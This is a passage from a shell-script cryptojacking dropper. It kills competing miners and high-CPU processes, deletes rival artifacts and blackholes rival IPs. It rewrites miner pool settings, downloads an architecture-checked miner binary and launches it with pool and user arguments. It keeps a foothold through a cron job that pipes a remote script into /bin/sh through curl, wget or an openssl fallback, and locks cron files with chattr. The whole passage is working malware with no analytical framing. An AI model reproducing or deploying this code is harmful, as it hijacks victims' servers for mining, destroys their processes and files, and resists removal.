  return 0
574
}
575
kill_and_remove_process() {
576
  _karp_term="$1"
577
  [ -z "$_karp_term" ] && return 2
578
  for _karp_dir in /proc/[0-9]*; do
579
    [ -r "$_karp_dir/comm" ] || continue
580
    _karp_pid="${_karp_dir##*/}"
581
    _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
582
    _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
583
    if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
584
      continue
585
    fi
586
    _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
587
    [ -z "$_karp_exe" ] && continue
588
    # Skip system binaries
589
    case "$_karp_exe" in
590
      /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
591
    esac
592
    echo "Terminating '$_karp_term' PID=$_karp_pid"
593
    kill "$_karp_pid" 2>/dev/null; sleep 1
594
    kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
595
    if [ -f "$_karp_exe" ]; then
596
      rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
597
    fi
598
  done
599
  return 0
600
}
601
kill_high_cpu() {
602
  _khc_threshold=150.0
603
  ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
604
    [ -f "/proc/$_khc_pid/cmdline" ] || continue
605
    _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
606
    _is_excluded "$_khc_cmdline" && continue
607
    kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
608
  done
609
}
610
harden_network() {
611
  command -v iptables >/dev/null 2>&1 && {
612
    iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
613
    iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
614
  }
615
  command -v ip >/dev/null 2>&1 && {
616
    ip route add blackhole 139.59.59.33 2>/dev/null || true
617
    ip route add blackhole 45.94.31.89 2>/dev/null || true
618
    ip route add blackhole 154.89.152.115 2>/dev/null || true
619
    ip route add blackhole 84.21.173.223 2>/dev/null || true
620
    ip route add blackhole 142.132.131.238 2>/dev/null || true
621
  }
622
}
623
cleanup_files() {
624
  # Remove competing miner artifacts (union of all scripts)
625
  rm -rf /bin/softirq 2>/dev/null || true
626
  rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
627
  rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
628
  rm -rf /usr/local/bin/watcher 2>/dev/null || true
629
  rm -rf /tmp/runnv/* 2>/dev/null || true
630
  rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
631
  rm -rf /tmp/nuclear 2>/dev/null || true
632
  rm -f /tmp/mon.sh 2>/dev/null || true
633
  rm -f /tmp/run.sh 2>/dev/null || true
634
  # Reclaim as honeypots
635
  mkdir -p /bin/softirq 2>/dev/null || true
636
  mkdir -p /tmp/nuclear 2>/dev/null || true
637
  mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
638
  mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
639
  mkdir -p /usr/local/bin/watcher 2>/dev/null || true
640
  mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
641
  mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
642
  mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
643
  # Remove old dns-filter artifacts
644
  for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
645
    [ -f "$_cf_f" ] && rm -f "$_cf_f"
646
  done
647
}
648
safe_patch_args() {
649
  _spa_file='/lib/systemd/cache/process-watcher'
650
  _spa_value="-o $_c3 -u $_c4/P2 --tls"
651
  [ -f "$_spa_file" ] || return 0
652
  _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
653
  if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
654
    sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
655
  else
656
    printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
657
  fi
658
}
659
replace_pool_user() {
660
  _rpu_path="/var/tmp/.odoo_pg_health.json"
661
  [ -f "$_rpu_path" ] || return 0
662
  _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
663
  _rpu_tmp="${_rpu_path}.tmp.$$"
664
  sed -e "s|\(\"user\"[     ]*:[    ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
665
    <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
666
  [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
667
}
668
get_cpu_count() {
669
  if [ -f /proc/cpuinfo ]; then
670
    grep -c '^processor' /proc/cpuinfo
671
  else
672
    sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
673
  fi
674
}
675
is_ec2_host() {
676
  hostname | grep -qi -e "ec2" -e "compute"
677
}
678
is_our_process_running() {
679
  for _iop_dir in /proc/[0-9]*; do
680
    [ -r "$_iop_dir/cmdline" ] || continue
681
    _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
682
    if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
683
      _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
684
      [ "$_iop_state" = "Z" ] && continue
685
      _iop_pid="${_iop_dir##*/}"
686
      case "$_ga_arch" in
687
        aarch64|arm64|armv8l)
688
          case "$_iop_cmdline" in
689
            *"/$_c1"*) ;;
690
            *)
691
              echo "ARM process uses a different identifier; replacing"
692
              kill -9 "$_iop_pid" 2>/dev/null
693
              sleep 1
694
              continue
695
              ;;
696
          esac
697
          ;;
698
      esac
699
      _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
700
      _iop_cpu=${_iop_cpu:-0}
701
      _iop_int=${_iop_cpu%.*}
702
      _iop_int=${_iop_int:-0}
703
      if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
704
        echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
705
        return 0
706
      else
707
        echo "Our process idle (PID $_iop_pid) — killing and relaunching"
708
        kill -9 "$_iop_pid" 2>/dev/null
709
        sleep 1
710
      fi
711
    fi
712
  done
713
  echo "Our process not running"
714
  return 1
715
}
716
set_arch_urls() {
717
  _ga_arch=$(uname -m 2>/dev/null || echo unknown)
718
  case "$_ga_arch" in
719
    x86_64|amd64)
720
      _ga_url="$_c7"
721
      _ga_fallback="$_c9"
722
      _ga_machine=3e00
723
      ;;
724
    aarch64|arm64|armv8l)
725
      _ga_url="$_c8"
726
      _ga_fallback=""
727
      _ga_machine=b700
728
      _c1=ARM
729
      ;;
730
    *)
731
      _ga_url=""
732
      _ga_fallback=""
733
      _ga_machine=""
734
      return 1
735
      ;;
736
  esac
737
}
738
_elf_machine() {
739
  od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
740
}
741
_is_elf_for_arch() {
742
  _ie_file="$1"
743
  [ -s "$_ie_file" ] || return 1
744
  [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
745
  [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
746
  [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
747
}
748
_sfx_path() {
749
  if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
750
  else printf '/tmp/.sysid'; fi
751
}
752
_load_or_gen_sfx() {
753
  _log_f=$(_sfx_path)
754
  if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
755
  _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
756
  [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
757
  mkdir -p "$(dirname "$_log_f")" 2>/dev/null
758
  printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
759
  printf '%s' "$_log_s"
760
}
761
create_cronjob() {
762
  # Refresh the same plain shell script that was uploaded at /mon.
763
  _cc_cmd=""
764
  if command -v curl >/dev/null 2>&1; then
765
    _cc_cmd="/bin/sh -c 'curl -fsSLk $_c2 | /bin/sh'"
766
  elif command -v wget >/dev/null 2>&1; then
767
    _cc_cmd="/bin/sh -c 'wget -qO- $_c2 | /bin/sh'"
768
  elif command -v openssl >/dev/null 2>&1; then
769
    _cc_helper="/tmp/.cron_fetch_$$.sh"
770
    cat > "$_cc_helper" << 'CRONHELPER'
771
#!/bin/sh
772
. /tmp/.hglib_cron 2>/dev/null
773
    http_get "$1" | /bin/sh
774
CRONHELPER
775
    chmod 755 "$_cc_helper"
776
    cat > /tmp/.hglib_cron << 'HGLIB'
777
http_get() {
778
  _u="$1";_n=0
779
  while [ "$_n" -lt 5 ]; do
780
    _n=$((_n+1));_p="${_u#https://}";_p="${_p#http://}"
781
    _h="${_p%%/*}";_q="/${_p#*/}";[ "$_h" = "$_p" ]&&_q="/"
782
    _i=$(getent ahostsv4 "$_h" 2>/dev/null|awk '{print $1;exit}')
783
    [ -z "$_i" ]&&_i="$_h"
784
    _a="/tmp/.cr$$a";_b="/tmp/.cr$$b"
785
    printf 'GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h">"$_a"
786
    openssl s_client -connect "${_i}:443" -servername "$_h" -quiet <"$_a">"$_b" 2>/dev/null
787
    _s=$(head -1 "$_b" 2>/dev/null|awk '{print $2}')
788
    case "$_s" in 301|302|303|307|308)
789
      _l=$(perl -0777 -ne 'if(/^Location:\s*(\S+)/im){print $1}' "$_b"|tr -d '\r')
790
      rm -f "$_a" "$_b" 2>/dev/null;[ -z "$_l" ]&&return 1
791
      case "$_l" in /*)_l="https://${_h}${_l}";;http://*|https://*);;*)_l="https://${_h}/${_l}";;esac
792
      _u="$_l";continue;;
793
    esac
794
    perl -0777 -ne 'if(/^(.*?)\r\n\r\n(.*)$/s){print $2}' <"$_b"
795
    rm -f "$_a" "$_b" 2>/dev/null;return 0
796
  done
797
  return 1
798
}
799
HGLIB
800
    _cc_cmd="$_cc_helper $_c2"
801
  else
802
    echo "Cannot create cron job — no curl/wget/openssl"
803
    return 1
804
  fi
805
  (crontab -l 2>/dev/null | grep -vF "$_c2"; echo "*/45 * * * * $_cc_cmd") | crontab -
806
  echo "Cron persistence installed."
807
}
808
for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
809
  if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
810
    # Check it's not our process (guard against race: process may have died)
811
    [ -r "/proc/$_main_pid/cmdline" ] || continue
812
    _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
813
    _is_excluded "$_main_cmdline" && continue
814
    kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
815
  fi
816
done
817
if [ "$(id -u)" -eq 0 ]; then
818
  command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
819
fi
820
log "Killing competing miners..."
821
kill_themf
822
kill_mf3
823
kill_high_cpu
824
for _main_target in \
825
  ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
826
  "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
827
  "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
828
  kill_and_remove_process "$_main_target" || true
829
done
830
log "Hardening network..."
831
harden_network
832
log "Cleaning up files..."
833
cleanup_files
834
safe_patch_args
835
replace_pool_user
836
_SFX=$(_load_or_gen_sfx)
837
if [ "$(id -u)" -eq 0 ]; then
838
  HOME_1="/usr_${_SFX}/lib/dev"
839
  _main_user_type="root"
840
  # Install cron if missing (only as root)
841
  if ! command -v crontab >/dev/null 2>&1; then
842
    log "Installing cron..."
843
    if command -v apk >/dev/null 2>&1; then
844
      apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
845
      command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
846
      command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
847
    elif command -v apt-get >/dev/null 2>&1; then
848
      apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
849
    elif command -v yum >/dev/null 2>&1; then
850
      yum install -y cronie 2>/dev/null || true
851
    fi
852
  fi
853
else
854
  HOME_1="/tmp/.usr_${_SFX}/lib"
855
  _main_user_type="user"
856
fi
857
program_file="$HOME_1/systemdev/dns-filter"
858
mkdir -p "$HOME_1/systemdev" 2>/dev/null
859
if ! set_arch_urls; then
860
  log "Unsupported architecture: $_ga_arch"
861
  exit 1
862
fi
863
cpu_count=$(get_cpu_count)
864
is_ec2=false; is_ec2_host && is_ec2=true
865
if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
866
  log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
867
  exit 0
868
fi
869
log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
870
if is_our_process_running; then
871
  log "Process running — installing cron and exiting"
872
  create_cronjob "$_c2"
873
  exit 0
874
fi
875
log "Downloading..."
876
arch_url="$_ga_url"
877
if _is_elf_for_arch "$program_file"; then
878
  log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
879
else
880
  rm -f "$program_file" 2>/dev/null || true
881
  log "Fetching from $arch_url..."
882
  fetch_file "$arch_url" "$program_file"
883
  chmod +x "$program_file" 2>/dev/null
884
  if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
885
    log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
886
    rm -f "$program_file"
887
    fetch_file "$_ga_fallback" "$program_file"
888
    chmod +x "$program_file" 2>/dev/null
889
  fi
890
fi
891
if ! _is_elf_for_arch "$program_file"; then
892
  log "Error: no executable for architecture $_ga_arch"
893
  rm -f "$program_file" 2>/dev/null || true
894
  exit 1
895
fi
896
log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
897
if ! "$program_file" --version >/dev/null 2>&1; then
898
  log "Error: binary failed the version check"
899
  rm -f "$program_file" 2>/dev/null || true
900
  exit 1
901
fi
902
launch_miner() {
903
  if command -v setsid >/dev/null 2>&1; then
904
    setsid "$program_file" "$@" >/dev/null 2>&1 &
905
  else
906
    nohup "$program_file" "$@" >/dev/null 2>&1 &
907
  fi
908
  _launch_pid=$!
909
}
910
log "Launching..."
911
_launch_ok=0
912
launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
913
sleep 5
914
if kill -0 "$_launch_pid" 2>/dev/null; then
915
  log "Process running (PID $_launch_pid)"
916
  _launch_ok=1
917
else
918
  log "Primary launch failed — retrying without -k..."
919
  launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
920
  sleep 5
921
  if kill -0 "$_launch_pid" 2>/dev/null; then
922
    log "Process running on retry (PID $_launch_pid)"
923
    _launch_ok=1
924
  fi
925
fi
926
if [ "$_launch_ok" != 1 ]; then
927
  log "All launch attempts failed"
928
  rm -f "$program_file" 2>/dev/null || true
929
  exit 1
930
fi
931
create_cronjob "$_c2"
932
if [ "$(id -u)" -eq 0 ]; then
933
  for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
934
    if [ -f "$_lock_file" ]; then
935
      chattr +i "$_lock_file" 2>/dev/null || true
936
      chattr +a "$_lock_file" 2>/dev/null || true
937
    fi
938
  done
939
fi
940
log "Deployment complete."
941
exit 0